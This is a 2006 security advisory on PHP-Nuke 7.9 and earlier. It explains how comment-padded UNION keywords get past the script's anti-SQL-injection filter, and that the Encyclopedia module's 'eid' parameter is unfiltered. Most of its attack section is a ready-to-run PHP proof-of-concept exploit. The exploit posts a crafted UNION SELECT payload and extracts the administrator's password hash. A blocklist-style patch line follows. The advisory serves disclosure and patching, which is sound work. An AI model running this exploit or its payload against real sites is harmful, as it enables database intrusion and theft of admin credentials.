-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-

/*

[N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22

Program: PHP Nuke
Homepage: http://www.php.net
Vulnerable Versions: PHP Nuke <= 7.9
Risk: High!
Impact: Critical Risk

-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-

• Description

---

PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases.

• Tested

---

localhost & many sites

• Vulnerability Description

---

The most important and critical vulnerability is in the code designed to filter the POST inputs to protect the script against
SQL Injections.

==[ mainfile.php 143-146 ]==========================
[…]
if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'/union/') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'/union/') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) {
header("Location: index.php");
die();
}
[…]
==[ end mainfile.php ]==============================

The protection is very good… but we can bypass it by using something like '//UNION ' or ' UNION//' ;)

Also i found a SQL Injection vulnerability in the Encyclopedia module. The "eid" variable isn't filtered at any moment, so if
we bypass the sql injection protection we can execute arbitrary sql commands. With a simple UNION statement we get the
md5 hash of the admin password.

Here is the real life Proof of Concept exploit.

==Real Proof of Concept exploit==
<?
/*

Neo Security Team - Exploit made by Paisterist on 2006-10-22
http://www.neosecurityteam.net

*/

$host="localhost";
$path="/phpnuke/";
$prefix="nuke_";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM $prefix_authors WHERE '1'='1";

if ($fp) {
$p="POST /phpnuke/modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n";
$p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, /\r\n";
$p.="Referer: http://localhost/phpnuke/modules.php?name=Encyclopedia&amp;file=search&#92;r&#92;n&quot;;

$p.="Accept-Language: es-ar\r\n";
$p.="Content-Type: application/x-www-form-urlencoded\r\n";
$p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$p.="Host: localhost\r\n";
$p.="Content-Length: ".strlen($data)."\r\n";
$p.="Pragma: no-cache\r\n";
$p.="Connection: keep-alive\r\n\r\n";
$p.=$data;

fwrite($fp, $p);

while (!feof($fp)) {
$content .= fread($fp, 4096);
}

preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

print_r($matches);
}
?>
==Real Proof of Concept exploit==

Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table.

• How to fix it? More information?

---

You can found a patch on http://www.neosecurityteam.net/foro/

Also, you can modify the line 143 of mainfile.php, adding one more protection like:

==[ mainfile.php old line (143) ]==========================
[…]
if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'/union/') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'/union/') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) {
}
[…]
==[ end mainfile.php ]=====================================

==[ mainfile.php new line (143) ]==========================
[…]
if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'/union/') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'/union/') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+') OR stripos_clone($postString_64,
'/UNION ') OR stripos_clone($postString_64, ' UNION/')) {
}
[…]
==[ end mainfile.php ]=====================================

That's a momentary solution to the problem. I recommend to download the PHP Nuke 8.0 version in the next days… it is not
free at the moment.

• References

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http://www.neosecurityteam.net/index.php?action=advisories&amp;id=27

• Credits

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Anti SQL Injection protection bypass by Paisterist -> paisterist.nst [at] gmail [dot] com
SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -> paisterist.nst [at] gmail [dot] com
Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/

• Greets

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HaCkZaTaN
K4P0
Daemon21
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LINUX
nitrous
m0rpheus
nikyt0x
KingMetal
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/* EOF */